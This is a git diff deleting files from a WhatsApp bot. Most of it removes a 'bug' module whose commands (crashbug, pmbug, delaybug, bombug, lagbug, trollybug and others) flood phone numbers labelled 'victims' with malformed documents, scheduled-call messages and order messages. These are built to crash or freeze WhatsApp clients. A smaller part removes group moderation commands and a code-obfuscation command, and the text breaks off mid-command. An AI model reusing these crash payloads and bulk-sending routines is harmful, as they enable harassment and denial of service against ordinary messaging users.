- //let { hr , min } = texte.split(':') ;
-
- await cron.addCron(dest,"mute_at",texte) ;
-
- repondre(`Setting up automatic mute for ${texte} ; restart to apply changes`)
- .then(() => {
-
- exec("pm2 restart all");
- }) ;
-
- } else {
- repondre('Please enter a valid time with hour and minute separated by :') ;
- }
-
-
- }
- });
-
-
- adams({
- nomCom : 'autounmute',
- categorie : 'Group'
-} , async (dest,zk,commandeOptions) => {
-
- const {arg , repondre , verifAdmin } = commandeOptions ;
-
- if (!verifAdmin) { repondre('You are not an administrator of the group') ; return}
-
- group_cron = await cron.getCronById(dest) ;
-
-
-
- if (!arg || arg.length == 0) {
-
- let state ;
- if (group_cron == null || group_cron.unmute_at == null) {
-
- state = "No time set for autounmute" ;
-
- } else {
-
- state = `The group will be un-muted at ${(group_cron.unmute_at).split(':')[0]}H ${(group_cron.unmute_at).split(':')[1]}`
- }
-
- let msg = `* *State:* ${state}
- * *Instructions:* To activate autounmute, add the minute and hour after the command separated by ':'
- Example autounmute 7:30
- * To delete autounmute, use the command *autounmute del*`
-
- repondre(msg) ;
- return ;
-
- } else {
-
- let texte = arg.join(' ')
-
- if (texte.toLowerCase() === `del` ) {
-
- if (group_cron == null) {
-
- repondre('No cronometrage has been activated') ;
- } else {
-
- await cron.delCron(dest) ;
-
- repondre("The autounmute has been removed; restart to apply the changes")
- .then(() => {
-
- exec("pm2 restart all");
- }) ;
-
-
-
- }
- } else if (texte.includes(':')) {
-
-
-
- await cron.addCron(dest,"unmute_at",texte) ;
-
- repondre(`Setting up autounmute for ${texte}; restart to apply the changes`)
- .then(() => {
-
- exec("pm2 restart all");
- }) ;
-
- } else {
- repondre('Please enter a valid time with hour and minute separated by :') ;
- }
-
-
- }
-});
-
-
-
-adams({
- nomCom : 'fkick',
- categorie : 'Group'
-} , async (dest,zk,commandeOptions) => {
-
- const {arg , repondre , verifAdmin , superUser , verifZokouAdmin } = commandeOptions ;
-
- if (verifAdmin || superUser) {
-
- if(!verifZokouAdmin){ repondre('You need administrative rights to perform this command') ; return ;}
-
- if (!arg || arg.length == 0) { repondre('Please enter the country code whose members will be removed') ; return ;}
-
- let metadata = await zk.groupMetadata(dest) ;
-
- let participants = metadata.participants ;
-
- for (let i = 0 ; i < participants.length ; i++) {
-
- if (participants[i].id.startsWith(arg[0]) && participants[i].admin === null ) {
-
- await zk.groupParticipantsUpdate(dest, [participants[i].id], "remove") ;
- }
- }
-
- } else {
- repondre('Sorry, you are not an administrator of the group')
- }
-
-
-}) ;
-
-
-adams({
- nomCom : 'nsfw',
- categorie : 'Group'
-}, async (dest,zk,commandeOptions) => {
-
- const {arg , repondre , verifAdmin } = commandeOptions ;
-
- if(!verifAdmin) { repondre('Sorry, you cannot enable NSFW content without being an administrator of the group') ; return}
-
- let hbd = require('../lib/hentai') ;
-
- let isHentaiGroupe = await hbd.checkFromHentaiList(dest) ;
-
- if (arg[0] == 'on') {
-
- if(isHentaiGroupe) {repondre('NSFW content is already active for this group') ; return} ;
-
- await hbd.addToHentaiList(dest) ;
-
- repondre('NSFW content is now active for this group') ;
-
- } else if (arg[0] == 'off') {
-
- if(!isHentaiGroupe) {repondre('NSFW content is already disabled for this group') ; return} ;
-
- await hbd.removeFromHentaiList(dest) ;
-
- repondre('NSFW content is now disabled for this group') ;
- } else {
-
- repondre('You must enter "on" or "off"') ;
- }
-} ) ;
diff --git a/scs/bmwui.js b/scs/bmwui.js
deleted file mode 100644
index 40ed86d..0000000
--- a/scs/bmwui.js
+++ /dev/null
@@ -1,39 +0,0 @@
-const JavaScriptObfuscator = require("javascript-obfuscator");
-const {
- adams
-} = require("../Ibrahim/adams");
-adams({
- 'nomCom': "obt",
- 'categorie': 'General'
-}, async (_0x3cf1f0, _0x36cbf1, _0x90621a) => {
- const {
- ms: _0x4b944b,
- arg: _0x34f2ba,
- repondre: _0x19e646,
- auteurMessage: _0x4ebaef,
- nomAuteurMessage: _0x2dfa6f,
- msgRepondu: _0x354080,
- auteurMsgRepondu: _0x548b39
- } = _0x90621a;
- try {
- let _0x32b5ce = _0x34f2ba.join(" ");
- if (!_0x34f2ba[0x0]) {
- _0x19e646("After the command, provide a valid JavaScript code for encryption");
- return;
- }
- ;
- const _0x3fa990 = JavaScriptObfuscator.obfuscate(_0x32b5ce, {
- 'compact': true,
- 'controlFlowFlattening': true,
- 'controlFlowFlatteningThreshold': 0x1,
- 'numbersToExpressions': true,
- 'simplify': true,
- 'stringArrayShuffle': true,
- 'splitStrings': true,
- 'stringArrayThreshold': 0x1
- });
- await _0x19e646(_0x3fa990.getObfuscatedCode());
- } catch {
- _0x19e646("Something is wrong, check if your code is logical and has the correct syntax");
- }
-});
diff --git a/scs/bmwuu.js b/scs/bmwuu.js
deleted file mode 100644
index 2dc4d1d..0000000
--- a/scs/bmwuu.js
+++ /dev/null
@@ -1,1037 +0,0 @@
-
-const { adams } = require("../Ibrahim/adams");
-const { delay, loading, react } = require("../Ibrahim/utils");
-const moment = require("moment-timezone");
-const conf = require("../config.js");
-const fs = require("fs");
-const path = require("path");
-const {
- generateWAMessageFromContent,
- proto
-} = require("@whiskeysockets/baileys");
-
-// bug database
-const { bugtext1 } = require("../Ibrahim/bugs/bugtext1");
-const { bugtext2 } = require("../Ibrahim/bugs/bugtext2");
-const { bugtext3 } = require("../Ibrahim/bugs/bugtext3");
-const { bugtext4 } = require("../Ibrahim/bugs/bugtext4");
-const { bugtext5 } = require("../Ibrahim/bugs/bugtext5");
-const { bugtext6 } = require("../Ibrahim/bugs/bugtext6");
-const { bugpdf } = require("../Ibrahim/bugs/bugpdf.js");
-
-const category = "dev";
-const reaction = "🤯";
-
-const mess = {};
-mess.prem = "You are not authorised to use this command !!!";
-
-const phoneRegex = /^\d{1,3}[- ]?(\(\d{1,3}\) )?[\d- ]{7,10}$/;
-const whatsappRegex =
- /https:\/\/chat\.whatsapp\.com\/(invite|join|)[A-Za-z0-9]+/;
-
-const timewisher = time => {
- if (time < "23:59:00") {
- return `Good Night 🌆`;
- } else if (time < "19:00:00") {
- return `Good Evening 🌆`;
- } else if (time < "18:00:00") {
- return `Good Evening 🌆`;
- } else if (time < "15:00:00") {
- return `Good Afternoon 🌅`;
- } else if (time < "11:00:00") {
- return `Good Morning 🌄`;
- } else if (time < "05:00:00") {
- return `Good Morning 🌄`;
- }
-};
-
-
-async function relaybug(dest, zk, ms, repondre, amount, victims, bug) {
- for (let i = 0; i < victims.length; i++) {
- if (!phoneRegex.test(victims[i])) {
- repondre(`${victims[i]} not a valid phone number`);
- continue;
- } else {
- const victim = victims[i] + "@s.whatsapp.net";
- for (let j = 0; j < amount; j++) {
- var scheduledCallCreationMessage = generateWAMessageFromContent(
- dest,
- proto.Message.fromObject(bug),
- { userJid: dest, quoted: ms }
- );
- try {
- zk.relayMessage(
- victim,
- scheduledCallCreationMessage.message,
- { messageId: scheduledCallCreationMessage.key.id }
- );
- } catch (e) {
- repondre(
- `An error occured while sending bugs to ${victims[i]}`
- );
- console.log(
- `An error occured while sending bugs to ${victim}: ${e}`
- );
- break;
- }
- await delay(3000);
- }
- if (victims.length > 1)
- repondre(`${amount} bugs send to ${victims[i]} Successfully.`);
- await delay(5000);
- }
- }
- repondre(`Successfully sent ${amount} bugs to ${victims.join(", ")}.`);
-}
-
-async function sendbug(dest, zk, ms, repondre, amount, victims, bug) {
- for (let i = 0; i < victims.length; i++) {
- if (!phoneRegex.test(victims[i])) {
- repondre(`${victims[i]} not a valid phone number`);
- continue;
- } else {
- const victim = victims[i] + "@s.whatsapp.net";
- for (let j = 0; j < amount; j++) {
- try {
- zk.sendMessage(victim, bug);
- } catch (e) {
- repondre(
- `An error occured while sending bugs to ${victims[i]}`
- );
- console.log(
- `An error occured while sending bugs to ${victim}: ${e}`
- );
- break;
- }
- await delay(3000);
- }
- if (victims.length > 1)
- repondre(`${amount} bugs send to ${victims[i]} Successfully.`);
- await delay(5000);
- }
- }
- repondre(`Successfully sent ${amount} bugs to ${victims.join(", ")}.`);
-}
-
-
-// --cmds--
-
-// bug menu
-adams(
- {
- nomCom: "bu",
- categorie: category,
- reaction: reaction
- },
-
- async (dest, zk, commandOptions) => {
- const { ms, arg, repondre } = commandOptions;
- const mono = "```";
- const time = moment().tz(conf.TZ).format("HH:mm:ss");
- const versions = ["v1", "v2"];
- const version = versions[Math.floor(Math.random() * versions.length)];
- const menuImage = fs.readFileSync(
- path.resolve(
- path.join(__dirname, "..", "file", "deleted-message.jpg")
- )
- );
- const tumbUrl =
- "https://i.ibb.co/wyYKzMY/68747470733a2f2f74656c656772612e70682f66696c652f6530376133643933336662346361643062333739312e6a7067.jpg";
- let menu = `${mono}Hello ${ms.pushName}
-${timewisher(time)}
-
-
-
-┗❏${mono}`;
- switch (version) {
- case "v1":
- {
- zk.sendMessage(
- dest,
- {
- image: menuImage,
- caption: menu
- },
- { quoted: ms }
- );
- }
- break;
- case "v2":
- {
- zk.sendMessage(
- dest,
- {
- image: menuImage,
- caption: menu,
- contextInfo: {
- mentionedJid: [ms.key.remoteJid],
- forwardingScore: 9999999,
- isForwarded: true,
- externalAdReply: {
- showAdAttribution: true,
- title: `${conf.BOT}`,
- body: `Bot Created By ${conf.OWNER_NAME}`,
- thumbnail: { url: tumbUrl },
- thumbnailUrl: tumbUrl,
- previewType: "PHOTO",
- sourceUrl:
- "https://whatsapp.com/channel/0029VaePv7T72WTq4R6Pxr0t",
- mediaType: 1,
- renderLargerAbhinail: true
- }
- }
- },
- { quoted: ms }
- );
- }
- break;
- }
- }
-);
-
-//bug
-adams(
- {
- nomCom: "bug",
- categorie: category,
- reaction: reaction
- },
-
- async (dest, zk, commandOptions) => {
- const { ms, arg, repondre, superUser } = commandOptions;
- if (!superUser) return await repondre(mess.prem);
-
- // send loading message
- await loading(dest, zk);
-
- for (let i = 0; i < 25; i++) {
- const doc = { url: "./config.js" };
- await zk.sendMessage(dest, {
- document: doc,
- mimetype:
- "\u27E8\u0F11̶\u20DF\uD83D\uDCA5 \uD835\uDC01͢\uD835\uDC11\uD835\uDC14\uD835\uDC17͢\uD835\uDC0E \uD835\uDC05\uD835\uDC14͢\uD835\uDC02\uD835\uDC0A\uD835\uDC0F͢\uD835\uDC03\uD835\uDC05̑\uD83D\uDC41️\u0F11̶\u27E9",
- title: "bx.pdf",
- pageCount: 9999999999,
- thumbnail: {
- url: "https://i.ibb.co/wyYKzMY/68747470733a2f2f74656c656772612e70682f66696c652f6530376133643933336662346361643062333739312e6a7067.jpg"
- },
- thumbnailUrl:
- "https://i.ibb.co/wyYKzMY/68747470733a2f2f74656c656772612e70682f66696c652f6530376133643933336662346361643062333739312e6a7067.jpg",
- jpegThumbnail: {
- url: "https://i.ibb.co/wyYKzMY/68747470733a2f2f74656c656772612e70682f66696c652f6530376133643933336662346361643062333739312e6a7067.jpg"
- },
- mediaKey: "ht55w7B6UoaG9doQuVQ811XNfWcoALqcdQfd61seKKk=",
- fileName:
- "\u27E8\u0F11̶\u20DF\uD83D\uDCA5 \uD835\uDC01͢\uD835\uDC11\uD835\uDC14\uD835\uDC17͢\uD835\uDC0E \uD835\uDC05\uD835\uDC14͢\uD835\uDC02\uD835\uDC0A\uD835\uDC0F͢\uD835\uDC03\uD835\uDC05̑\uD83D\uDC41️\u0F11̶\u27E9\n\n" +
- bugpdf
- });
- }
- await zk.sendMessage(dest, { react: { text: "✅", key: ms.key } });
- }
-);
-
-//crash
-adams(
- {
- nomCom: "crash",
- categorie: category,
- reaction: reaction
- },
-
- async (dest, zk, commandOptions) => {
- const { ms, arg, repondre, superUser } = commandOptions;
- const bug = bugtext6;
- if (!superUser) return await repondre(mess.prem);
- await loading(dest, zk);
- try {
- for (let i = 0; i < 10; i++) {
- await repondre(bug);
- }
- } catch (e) {
- await repondre(`an error occoured sending bugs`);
- console.log(`an error occured sending bugs : ${e}`);
- return;
- }
- }
-);
-
-//loccrash
-adams(
- {
- nomCom: "loccrash",
- reaction: "\uD83D\uDD16",
- categorie: category
- },
-
- async (dest, zk, commandOptions) => {
- const { ms, arg, repondre, superUser } = commandOptions;
- if (!superUser) return await repondre(mess.prem);
- await loading(dest, zk);
-
- for (let i = 0; i < 20; i++) {
- for (let j = 0; j < "3"; j++) {
- zk.sendMessage(
- dest,
- {
- location: {
- degreesLatitude: -6.28282828,
- degreesLongitude: -1.2828,
- name: "BRUX0N3RD\n\n\n\n\n\n\n\n"
- }
- },
- { quoted: ms }
- );
- }
- }
- await zk.sendMessage(dest, { react: { text: "✅", key: ms.key } });
- }
-);
-
-//crashbug
-adams(
- {
- nomCom: "crashbug",
- categorie: category,
- reaction: reaction
- },
-
- async (dest, zk, commandOptions) => {
- const { ms, arg, repondre, superUser, prefixe } = commandOptions;
- if (!superUser) return await repondre(mess.prem);
- if (!arg[0])
- return await repondre(
- `Use ${prefixe}crashbug amount | numbers\n> Example ${prefixe}crashbug 30 |${
- conf.NUMERO_OWNER
- } or ${prefixe}crashbug ${conf.NUMERO_OWNER.split(",")[0]}`
- );
- await loading(dest, zk);
- const text = arg.join("");
- let amount = 30;
- let victims = [];
- const doc = { url: "./config.js" };
- const bug = {
- document: doc,
- mimetype:
- "\u27E8\u0F11̶\u20DF\uD83D\uDCA5 \uD835\uDC01͢\uD835\uDC11\uD835\uDC14\uD835\uDC17͢\uD835\uDC0E \uD835\uDC05\uD835\uDC14͢\uD835\uDC02\uD835\uDC0A\uD835\uDC0F͢\uD835\uDC03\uD835\uDC05̑\uD83D\uDC41️\u0F11̶\u27E9",
- title: "bx.pdf",
- pageCount: 9999999999,
- thumbnail: {
- url: "https://i.ibb.co/wyYKzMY/68747470733a2f2f74656c656772612e70682f66696c652f6530376133643933336662346361643062333739312e6a7067.jpg"
- },
- thumbnailUrl:
- "https://i.ibb.co/wyYKzMY/68747470733a2f2f74656c656772612e70682f66696c652f6530376133643933336662346361643062333739312e6a7067.jpg",
- jpegThumbnail: {
- url: "https://i.ibb.co/wyYKzMY/68747470733a2f2f74656c656772612e70682f66696c652f6530376133643933336662346361643062333739312e6a7067.jpg"
- },
- mediaKey: "ht55w7B6UoaG9doQuVQ811XNfWcoALqcdQfd61seKKk=",
- fileName:
- "\u27E8\u0F11̶\u20DF\uD83D\uDCA5 \uD835\uDC01͢\uD835\uDC11\uD835\uDC14\uD835\uDC17͢\uD835\uDC0E \uD835\uDC05\uD835\uDC14͢\uD835\uDC02\uD835\uDC0A\uD835\uDC0F͢\uD835\uDC03\uD835\uDC05̑\uD83D\uDC41️\u0F11̶\u27E9\n\n" +
- bugpdf
- };
- if (arg.length === 1) {
- victims.push(arg[0]);
- await repondre(`sending ${amount} bugs to ${victims[0]}`);
- try {
- await sendbug(dest, zk, ms, repondre, amount, victims, bug);
- } catch (e) {
- await repondre("An error occured");
- console.log(`An error occured: ${e}`);
- await react(dest, zk, ms, "⚠️");
- }
- } else {
- amount = parseInt(text.split("|")[0].trim());
- if (isNaN(amount)) {
- return await repondre(
- `amount must be a valid intiger between 1-${conf.BOOM_MESSAGE_LIMIT}`
- );
- } else {
- victims = text
- .split("|")[1]
- .split(",")
- .map(x => x.trim())
- .filter(x => x !== "");
- if (victims.length > 0) {
- await repondre(
- `sending ${amount} bugs to ${victims.join(", ")}`
- );
- try {
- await sendbug(
- dest,
- zk,
- ms,
- repondre,
- amount,
- victims,
- bug
- );
- } catch (e) {
- await repondre("An error occured");
- console.log(`An error occured: ${e}`);
- await react(dest, zk, ms, "⚠️");
- }
- } else {
- return await repondre("No victims specfied");
- }
- }
- }
- await react(dest, zk, ms, "✅");
- }
-);
-
-// amountbug
-adams(
- {
- nomCom: "amountbug",
- categorie: category,
- reaction: reaction
- },
-
- async (dest, zk, commandOptions) => {
- const { ms, arg, repondre, superUser, prefixe } = commandOptions;
-
- if (!superUser) return await repondre(mess.prem);
- if (!arg[0])
- return await repondre(
- `Use ${prefixe}amountbug amount\n> Example ${prefixe}amountbug 5`
- );
-
- const amount = parseInt(arg[0]);
- if (isNaN(amount) || amount > conf.BOOM_MESSAGE_LIMIT || amount < 1)
- return await repondre(
- `use a valid intiger between 1-${conf.BOOM_MESSAGE_LIMIT}`
- );
- for (let i = 0; i < amount; i++) {
- const bug = `${bugtext1}`;
- var scheduledCallCreationMessage = generateWAMessageFromContent(
- dest,
- proto.Message.fromObject({
- scheduledCallCreationMessage: {
- callType: "2",
- scheduledTimestampMs: `${moment(1000)
- .tz("Asia/Kolkata")
- .format("DD/MM/YYYY HH:mm:ss")}`,
- title: bug
- }
- }),
- { userJid: dest, quoted: ms }
- );
- try {
- await zk.relayMessage(
- victim,
- scheduledCallCreationMessage.message,
- { messageId: scheduledCallCreationMessage.key.id }
- );
- } catch (e) {
- await repondre(`An error occured while sending bugs`);
- console.log(`An error occured while sending bugs: ${e}`);
- return;
- }
- await delay(3000);
- }
- await repondre(
- `*Successfully sent as many bugs as ${amount} Please pause for 3 minutes*`
- );
- await react(dest, zk, ms, "✅");
- }
-);
-
-//pmbug
-adams(
- {
- nomCom: "pmbug",
- categorie: category,
- reaction: reaction
- },
-
- async (dest, zk, commandOptions) => {
- const { ms, arg, repondre, superUser, prefixe } = commandOptions;
- if (!superUser) return await repondre(mess.prem);
- if (!arg[0])
- return await repondre(
- `Use ${prefixe}pmbug amount | numbers\n> Example ${prefixe}pmbug 30 |${
- conf.NUMERO_OWNER
- } or ${prefixe}pmbug ${conf.NUMERO_OWNER.split(",")[0]}`
- );
- await loading(dest, zk);
- const text = arg.join("");
- let amount = 30;
- let victims = [];
- const bug = {
- scheduledCallCreationMessage: {
- callType: "2",
- scheduledTimestampMs: `${moment(1000)
- .tz("Asia/Kolkata")
- .format("DD/MM/YYYY HH:mm:ss")}`,
- title: `${bugtext1}`
- }
- };
- if (arg.length === 1) {
- victims.push(arg[0]);
- await repondre(`sending ${amount} bugs to ${victims[0]}`);
- try {
- await relaybug(dest, zk, ms, repondre, amount, victims, bug);
- } catch (e) {
- await repondre("An error occured");
- console.log(`An error occured: ${e}`);
- await react(dest, zk, ms, "⚠️");
- }
- } else {
- amount = parseInt(text.split("|")[0].trim());
- if (
- amount > conf.BOOM_MESSAGE_LIMIT ||
- isNaN(amount) ||
- amount < 1
- ) {
- return await repondre(
- `amount must be a valid intiger between 1-${conf.BOOM_MESSAGE_LIMIT}`
- );
- } else {
- victims = text
- .split("|")[1]
- .split(",")
- .map(x => x.trim())
- .filter(x => x !== "");
- if (victims.length > 0) {
- await repondre(
- `sending ${amount} bugs to ${victims.join(", ")}`
- );
- try {
- await relaybug(
- dest,
- zk,
- ms,
- repondre,
- amount,
- victims,
- bug
- );
- } catch (e) {
- await repondre("An error occured");
- console.log(`An error occured: ${e}`);
- await react(dest, zk, ms, "⚠️");
- }
- } else {
- return await repondre("No victims specfied");
- }
- }
- }
- await react(dest, zk, ms, "✅");
- }
-);
-
-//delaybug
-adams(
- {
- nomCom: "delaybug",
- categorie: category,
- reaction: reaction
- },
-
- async (dest, zk, commandOptions) => {
- const { ms, arg, repondre, superUser, prefixe } = commandOptions;
- if (!superUser) return await repondre(mess.prem);
- if (!arg[0])
- return await repondre(
- `Use ${prefixe}delaybug amount | numbers\n> Example ${prefixe}delaybug 30 |${
- conf.NUMERO_OWNER
- } or ${prefixe}delaybug ${conf.NUMERO_OWNER.split(",")[0]}`
- );
- await loading(dest, zk);
- const text = arg.join("");
- let amount = 30;
- let victims = [];
- const bug = {
- scheduledCallCreationMessage: {
- callType: "2",
- scheduledTimestampMs: `${moment(1000)
- .tz("Asia/Kolkata")
- .format("DD/MM/YYYY HH:mm:ss")}`,
- title: bugtext2
- }
- };
- if (arg.length === 1) {
- victims.push(arg[0]);
- await repondre(`sending ${amount} bugs to ${victims[0]}`);
- try {
- await relaybug(dest, zk, ms, repondre, amount, victims, bug);
- } catch (e) {
- await repondre("An error occured");
- console.log(`An error occured: ${e}`);
- await react(dest, zk, ms, "⚠️");
- }
- } else {
- amount = parseInt(text.split("|")[0].trim());
- if (
- amount > conf.BOOM_MESSAGE_LIMIT ||
- isNaN(amount) ||
- amount < 1
- ) {
- return await repondre(
- `amount must be a valid intiger between 1-${conf.BOOM_MESSAGE_LIMIT}`
- );
- } else {
- victims = text
- .split("|")[1]
- .split(",")
- .map(x => x.trim())
- .filter(x => x !== "");
- if (victims.length > 0) {
- await repondre(
- `sending ${amount} bugs to ${victims.join(", ")}`
- );
- try {
- await relaybug(
- dest,
- zk,
- ms,
- repondre,
- amount,
- victims,
- bug
- );
- } catch (e) {
- await repondre("An error occured");
- console.log(`An error occured: ${e}`);
- await react(dest, zk, ms, "⚠️");
- }
- } else {
- return await repondre("No victims specfied");
- }
- }
- }
- await react(dest, zk, ms, "✅");
- }
-);
-
-//docubug
-adams(
- {
- nomCom: "docubug",
- categorie: category,
- reaction: reaction
- },
-
- async (dest, zk, commandOptions) => {
- const { ms, arg, repondre, superUser, prefixe } = commandOptions;
- if (!superUser) return await repondre(mess.prem);
- if (!arg[0])
- return await repondre(
- `Use ${prefixe}docubug amount | numbers\n> Example ${prefixe}docubug 30 |${
- conf.NUMERO_OWNER
- } or ${prefixe}docubug ${conf.NUMERO_OWNER.split(",")[0]}`
- );
- await loading(dest, zk);
- const text = arg.join("");
- let amount = 15;
- let victims = [];
- const bug = {
- scheduledCallCreationMessage: {
- callType: "2",
- scheduledTimestampMs: `${moment(1000)
- .tz("Asia/Kolkata")
- .format("DD/MM/YYYY HH:mm:ss")}`,
- title: `${bugtext1}`
- }
- };
- if (arg.length === 1) {
- victims.push(arg[0]);
- await repondre(`sending ${amount} bugs to ${victims[0]}`);
- try {
- await relaybug(dest, zk, ms, repondre, amount, victims, bug);
- } catch (e) {
- await repondre("An error occured");
- console.log(`An error occured: ${e}`);
- await react(dest, zk, ms, "⚠️");
- }
- } else {
- amount = parseInt(text.split("|")[0].trim());
- if (
- amount > conf.BOOM_MESSAGE_LIMIT ||
- isNaN(amount) ||
- amount < 1
- ) {
- return await repondre(
- `amount must be a valid intiger between 1-${conf.BOOM_MESSAGE_LIMIT}`
- );
- } else {
- victims = text
- .split("|")[1]
- .split(",")
- .map(x => x.trim())
- .filter(x => x !== "");
- if (victims.length > 0) {
- await repondre(
- `sending ${amount} bugs to ${victims.join(", ")}`
- );
- try {
- await relaybug(
- dest,
- zk,
- ms,
- repondre,
- amount,
- victims,
- bug
- );
- } catch (e) {
- await repondre("An error occured");
- console.log(`An error occured: ${e}`);
- await react(dest, zk, ms, "⚠️");
- }
- } else {
- return await repondre("No victims specfied");
- }
- }
- }
- await react(dest, zk, ms, "✅");
- }
-);
-
-//unlimitedbug
-adams(
- {
- nomCom: "unlimitedbug",
- categorie: category,
- reaction: reaction
- },
-
- async (dest, zk, commandOptions) => {
- const { ms, arg, repondre, superUser, prefixe } = commandOptions;
- if (!superUser) return await repondre(mess.prem);
- if (!arg[0])
- return await repondre(
- `Use ${prefixe}unlimitedbug amount | numbers\n> Example ${prefixe}unlimitedbug 30 |${
- conf.NUMERO_OWNER
- } or ${prefixe}unlimitedbug ${conf.NUMERO_OWNER.split(",")[0]}`
- );
- await loading(dest, zk);
- const text = arg.join("");
- let amount = 30;
- let victims = [];
- const bug = {
- scheduledCallCreationMessage: {
- callType: "2",
- scheduledTimestampMs: `${moment(1000)
- .tz("Asia/Kolkata")
- .format("DD/MM/YYYY HH:mm:ss")}`,
- title: bugtext3
- }
- };
- if (arg.length === 1) {
- victims.push(arg[0]);
- await repondre(`sending ${amount} bugs to ${victims[0]}`);
- try {
- await relaybug(dest, zk, ms, repondre, amount, victims, bug);
- } catch (e) {
- await repondre("An error occured");
- console.log(`An error occured: ${e}`);
- await react(dest, zk, ms, "⚠️");
- }
- } else {
- amount = parseInt(text.split("|")[0].trim());
- if (
- amount > conf.BOOM_MESSAGE_LIMIT ||
- isNaN(amount) ||
- amount < 1
- ) {
- return await repondre(
- `amount must be a valid intiger between 1-${conf.BOOM_MESSAGE_LIMIT}`
- );
- } else {
- victims = text
- .split("|")[1]
- .split(",")
- .map(x => x.trim())
- .filter(x => x !== "");
- if (victims.length > 0) {
- await repondre(
- `sending ${amount} bugs to ${victims.join(", ")}`
- );
- try {
- await relaybug(
- dest,
- zk,
- ms,
- repondre,
- amount,
- victims,
- bug
- );
- } catch (e) {
- await repondre("An error occured");
- console.log(`An error occured: ${e}`);
- await react(dest, zk, ms, "⚠️");
- }
- } else {
- return await repondre("No victims specfied");
- }
- }
- }
- await react(dest, zk, ms, "✅");
- }
-);
-
-//bombug
-adams(
- {
- nomCom: "bombug",
- categorie: category,
- reaction: reaction
- },
-
- async (dest, zk, commandOptions) => {
- const { ms, arg, repondre, superUser, prefixe } = commandOptions;
- if (!superUser) return await repondre(mess.prem);
- if (!arg[0])
- return await repondre(
- `Use ${prefixe}bombug amount | numbers\n> Example ${prefixe}bombug 30 |${
- conf.NUMERO_OWNER
- } or ${prefixe}bombug ${conf.NUMERO_OWNER.split(",")[0]}`
- );
- await loading(dest, zk);
- const text = arg.join("");
- let amount = 30;
- let victims = [];
- const bug = {
- scheduledCallCreationMessage: {
- callType: "2",
- scheduledTimestampMs: `${moment(1000)
- .tz("Asia/Kolkata")
- .format("DD/MM/YYYY HH:mm:ss")}`,
- title: bugtext4
- }
- };
- if (arg.length === 1) {
- victims.push(arg[0]);
- await repondre(`sending ${amount} bugs to ${victims[0]}`);
- try {
- await relaybug(dest, zk, ms, repondre, amount, victims, bug);
- } catch (e) {
- await repondre("An error occured");
- console.log(`An error occured: ${e}`);
- await react(dest, zk, ms, "⚠️");
- }
- } else {
- amount = parseInt(text.split("|")[0].trim());
- if (
- amount > conf.BOOM_MESSAGE_LIMIT ||
- isNaN(amount) ||
- amount < 1
- ) {
- return await repondre(
- `amount must be a valid intiger between 1-${conf.BOOM_MESSAGE_LIMIT}`
- );
- } else {
- victims = text
- .split("|")[1]
- .split(",")
- .map(x => x.trim())
- .filter(x => x !== "");
- if (victims.length > 0) {
- await repondre(
- `sending ${amount} bugs to ${victims.join(", ")}`
- );
- try {
- await relaybug(
- dest,
- zk,
- ms,
- repondre,
- amount,
- victims,
- bug
- );
- } catch (e) {
- await repondre("An error occured");
- console.log(`An error occured: ${e}`);
- await react(dest, zk, ms, "⚠️");
- }
- } else {
- return await repondre("No victims specfied");
- }
- }
- }
- await react(dest, zk, ms, "✅");
- }
-);
-
-//lagbug
-adams(
- {
- nomCom: "lagbug",
- categorie: category,
- reaction: reaction
- },
-
- async (dest, zk, commandOptions) => {
- const { ms, arg, repondre, superUser, prefixe } = commandOptions;
- if (!superUser) return await repondre(mess.prem);
- if (!arg[0])
- return await repondre(
- `Use ${prefixe}lagbug amount | numbers\n> Example ${prefixe}lagbug 30 |${
- conf.NUMERO_OWNER
- } or ${prefixe}lagbug ${conf.NUMERO_OWNER.split(",")[0]}`
- );
- await loading(dest, zk);
- const text = arg.join("");
- let amount = 30;
- let victims = [];
- const bug = {
- scheduledCallCreationMessage: {
- callType: "2",
- scheduledTimestampMs: `${moment(1000)
- .tz("Asia/Kolkata")
- .format("DD/MM/YYYY HH:mm:ss")}`,
- title: bugtext2
- }
- };
- if (arg.length === 1) {
- victims.push(arg[0]);
- await repondre(`sending ${amount} bugs to ${victims[0]}`);
- try {
- await relaybug(dest, zk, ms, repondre, amount, victims, bug);
- } catch (e) {
- await repondre("An error occured");
- console.log(`An error occured: ${e}`);
- await react(dest, zk, ms, "⚠️");
- }
- } else {
- amount = parseInt(text.split("|")[0].trim());
- if (
- amount > conf.BOOM_MESSAGE_LIMIT ||
- isNaN(amount) ||
- amount < 1
- ) {
- return await repondre(
- `amount must be a valid intiger between 1-${conf.BOOM_MESSAGE_LIMIT}`
- );
- } else {
- victims = text
- .split("|")[1]
- .split(",")
- .map(x => x.trim())
- .filter(x => x !== "");
- if (victims.length > 0) {
- await repondre(
- `sending ${amount} bugs to ${victims.join(", ")}`
- );
- try {
- await relaybug(
- dest,
- zk,
- ms,
- repondre,
- amount,
- victims,
- bug
- );
- } catch (e) {
- await repondre("An error occured");
- console.log(`An error occured: ${e}`);
- await react(dest, zk, ms, "⚠️");
- }
- } else {
- return await repondre("No victims specfied");
- }
- }
- }
- await react(dest, zk, ms, "✅");
- }
-);
-
-//trollybug
-adams(
- {
- nomCom: "trollybug",
- categorie: category,
- reaction: reaction
- },
-
- async (dest, zk, commandOptions) => {
- const { ms, arg, repondre, superUser, prefixe } = commandOptions;
- if (!superUser) return await repondre(mess.prem);
- if (!arg[0])
- return await repondre(
- `Use ${prefixe}trollybug amount | numbers\n> Example ${prefixe}trollybug 30 |${
- conf.NUMERO_OWNER
- } or ${prefixe}trollybug ${conf.NUMERO_OWNER.split(",")[0]}`
- );
- await loading(dest, zk);
- const text = arg.join("");
- let amount = 15;
- let victims = [];
- const bug = {
- orderMessage: {
- orderId: "599519108102353",
- thumbnail: fs.readFileSync(
- path.resolve(
- path.join(
- __dirname,
- "..",
- "media",
- "deleted-message.jpg"
- )
- )
- ),
- itemCount: 1999,
- status: "INQUIRY",
- surface: "CATALOG",
- message: `${conf.BOT}`,
- orderTitle: " TROLLY BUG ",
- sellerJid: "263785028126@s.whatsapp.net",
- token: "AR6z9PAvHjs9Qa7AYgBUjSEvcnOcRWycFpwieIhaMKdrhQ=="
- }
- };
- if (arg.length === 1) {
- victims.push(arg[0]);
- await repondre(`sending ${amount} bugs to ${victims[0]}`);
- try {
- await relaybug(dest, zk, ms, repondre, amount, victims, bug);
- } catch (e) {
- await repondre("An error occured");
- console.log(`An error occured: ${e}`);
- await react(dest, zk, ms, "⚠️");
- }
- } else {
- amount = parseInt(text.split("|")[0].trim());
- if (
- amount > conf.BOOM_MESSAGE_LIMIT ||
- isNaN(amount) ||
- amount < 1
- ) {
- return await repondre(
